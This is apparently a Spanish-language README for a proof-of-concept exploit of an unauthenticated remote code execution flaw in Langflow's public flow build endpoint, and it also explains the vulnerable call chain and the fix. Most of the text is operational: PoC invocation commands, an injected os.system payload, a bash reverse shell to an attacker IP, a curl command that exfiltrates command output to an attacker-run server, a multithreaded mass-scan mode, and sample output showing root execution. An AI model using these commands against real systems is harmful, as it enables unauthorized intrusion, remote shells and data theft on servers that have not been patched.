
CVE-2026-33017 - Una ejecución remota de código sin autenticación en Langflow <= 1.8.1 a través de Public Flow Build Endpoint
Solo para fines educativos y pruebas autorizadas.
Langflow <= 1.8.1 expone un endpoint público de construcción de flujos que acepta datos de flujo controlados por el atacante y que contienen código arbitrario. Ese código se pasa a prepare_global_scope() en validate.py, que llama a exec() sin sandboxing, lo que resulta en ejecución remota de código no autenticada con los privilegios del proceso del servidor.
| Paquete | Afectado | Corregido |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
El endpoint build_public_tmp no está autenticado a propósito: está diseñado para que cualquiera pueda ejecutar un flujo público almacenado. El fallo es que también acepta un parámetro opcional data que contiene definiciones de flujo controladas por el atacante. Por lo tanto, un usuario no autenticado puede enviar código de nodo arbitrario que el servidor trata como un grafo de flujo legítimo y pasa directamente a las rutinas de ejecución de código sin validación.
La corrección es sencilla: eliminar el parámetro data y obligar al endpoint a llamar exclusivamente a build_graph_from_db(), de modo que los flujos públicos ejecuten únicamente datos almacenados y nunca código proporcionado por el atacante.
La carga útil del atacante recorre la siguiente cadena de llamadas antes de llegar a la ejecución:
prepare_global_scope() en validate.py procesa los nodos ast.Assign durante la compilación del grafo, antes de que se invoque cualquier método del flujo. Por lo tanto, una asignación de nivel superior en el código inyectado se ejecuta de inmediato:
_r = __import__('os').system("whoami") # se ejecuta en tiempo de compilación, no en tiempo de ejecución del flujo
La salida va al stdout del servidor, no a la respuesta HTTP. Para la exfiltración se requiere una devolución de llamada externa (reverse shell, webhook curl).
| Endpoint | Autenticación | Vector de Ataque |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | Ninguna | Remoto, no autenticado |
| Escenario | Requisito |
|---|---|
| A — AUTO_LOGIN habilitado | AUTO_LOGIN=true: obtener un token JWT anónimamente, crear un flujo PÚBLICO, explotar |
| B — Flujo público conocido | Se conoce un UUID de flujo compartido/público: explotar directamente, sin autenticación |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
Importante: El PoC usa
os.system()a nivel de módulo: el comando se ejecuta en el servidor, pero su salida va al stdout del servidor, no de vuelta en la respuesta HTTP. El PoC solo confirma que la ejecución ocurrió ([+] VULNERABLE). Para recibir realmente la salida del comando, use uno de los métodos de exfiltración siguientes.
Confirmación a ciegas (verifica la RCE sin capturar la salida)
python3 poc.py --url http://target:7860 --cmd "id"
Reverse shell — con listener local
# 1. Inicie un listener en su máquina
nc -lvnp 4444
# 2. Envíe la reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
Exfiltración OOB mediante devolución de llamada HTTP — con servidor local
# 1. Inicie un servidor HTTP local
python3 -m http.server 8080
# 2. Exfiltre la salida mediante una devolución de llamada curl
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
Con un UUID de flujo público conocido (sin necesidad de crear un flujo)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
Escaneo masivo desde archivo
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
El PoC confirma que la ejecución ocurrió. [+] VULNERABLE significa que la construcción se realizó correctamente y que el código inyectado se ejecutó; no significa que la salida fue capturada.
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Targets : 1
Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)
============================================================
SUMMARY
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 target(s) vulnerable
Salida recibida en el servidor HTTP local:
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
exec() en /api/v1/validate/code| Paso | Archivo | Detalle |
|---|
| 1 | chat.py:580 | build_public_tmp recibe los datos del atacante en el cuerpo de la petición |
| 2 | build.py:81 | start_flow_build() reenvía la carga útil no confiable |
| 3 | build.py:298 | build_graph_from_data() la pasa a la construcción del grafo |
| 4 | base.py:1168 | Graph.from_payload() deserializa las definiciones de nodo del atacante |
| 5 | base.py:1323 | instantiate_component() se llama para cada nodo |
| 6 | loading.py:43 | El campo code se extrae de los parámetros del componente personalizado |
| 7 | eval.py:9 | create_class() recibe el código crudo del atacante |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — sin sandboxing |
| Flag | Valor por defecto | Descripción |
|---|
--url | — | URL de un único Langflow objetivo |
--url-file | — | Archivo de texto con una URL por línea (escaneo masivo) |
--cmd | id | Comando del sistema operativo a ejecutar en el objetivo |
--flow-id | — | UUID de un flujo público existente (omite la creación del flujo) |
--threads | 5 | Número de hilos paralelos para el modo masivo |
--timeout | 15 | Tiempo de espera de la petición HTTP en segundos |
--no-cleanup | false | Conservar el flujo creado después de la explotación |